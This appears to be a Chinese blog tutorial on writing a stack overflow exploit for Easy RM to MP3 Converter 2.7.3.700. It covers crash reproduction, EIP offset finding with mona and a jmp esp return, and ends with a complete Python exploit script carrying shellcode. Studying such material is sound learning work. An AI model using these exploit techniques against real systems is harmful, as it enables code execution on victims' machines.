exploit编写笔记1——基于栈的溢出
很早以前对漏洞利用这一块就有所了解,当时觉得这些都是一些小tricky,玩的都是一些故意的玩具漏洞,这段时间准备重新拾起来,开始按照教材corelan上面的教材一个一个对着实际的漏洞写exploit。这是第一篇,古老的buffer overflow。因为之前都是OD or windbg,现在要练习一下Immunity Debugger。所以这篇都是用的Immunity。
目标软件
Easy RM to MP3 Converter(版本2.7.3.700)
工具
Immunity Debugger
漏洞描述
通过创建一个恶意的.m3u文件将触发Easy RM to MP3 Converter (version 2.7.3.700)缓冲区溢出利用。
测试平台
Microsoft Windows XP Professional 5.1.2600 Service Pack 3 Build 2600
下面是详细的exploit步骤
1. 漏洞触发
我们首先构造一个30000个字符的.m3u文件,前面25000全为’A’,后5000个为’B’。下面是构造的脚本
filename = "crash.m3u"
f = open(filename,'w')
data = 'A' * 25000 + 'B' * 5000
f.write(data)
f.close()
使用Easy RM to MP3 Converter加载这个crash.m3u文件,可以看到发生错误,查看详细信息,如图。
从图可以看到,溢出之后的返回地址是0x42424242,也就是’BBBB’,这说明要覆盖的EIP在25000到30000之间。下面使用Immunity的查件mona来进行精确定位。
2. EIP定位
使用Immunity Debugger加载Easy RM to MP3 Converter,Run起来,加载crash.m3u。遇到异常之后Immunity接手。
首先设置mona的工作目录:
!mona config -set workingfolder c:\mona\%p
创建包含5000个字符的pattern:
!mona pattern_create 5000
此时pattern文件在C:\mona\RM2MP3Converter\pattern.txt,将pattern中的5000个字符替换crash.m3u中最后5000个字符。脚本如下:
filename = "crash_pattern.m3u"
f = open(filename,'w')
data = 'A' * 25000
fp = open("pattern.txt",'r')
data += fp.read()
f.write(data)
f.close()
pattern.txt是删除了mona生成的一些信息之后的纯5000个字符文件。再次打开目标软件加载crash_pattern.m3u,看到崩溃之后的EIP如下图所示:
在command中输入
!mona pattern_offset 366a4235
我们看到EIP被修改的位置是25000 + 1067。
此时我们再用如下脚本测试一下位置是否正确:
filename = "crash.m3u"
f = open(filename,'w')
data = 'A' * 26067 + 'B' * 4 + 'C'*100
f.write(data)
f.close()
我们可以看到,EIP现在是4个B,偏移正确,下面就是如何修改这个EIP
3. 寻找shellcode存放的地址空间
再次使用上面.m3u文件,崩溃时,打开栈的窗口
我们看到在ESP此时为000FF730,EIP到这里还有3*4=12个字节。ESP开始用于存放shellcode。
4. 查找jmp esp地址
再次加载目标程序,Run之后Pause,在CPU窗口,右键 Search For ->All commands in All modules,在之后的窗口输入jmp esp。
我们选一个7C874413。
5. 构造最终的输入文件
shellcode = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"
"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"
"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"
"\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"
"\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
"\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"
"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"
"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"
"\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"
"\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"
"\x40\xFF\x54\x24\x40\x57\xFF\xD0");
ret = "\x13\x44\x87\x7c";
filename = "crash.m3u"
f = open(filename,'w')
data = 'A' * 26067 + ret + '\x90' * 12 + shellcode
f.write(data)
f.close()
我们看到,成功利用了这个漏洞。
blog comments powered by Disqus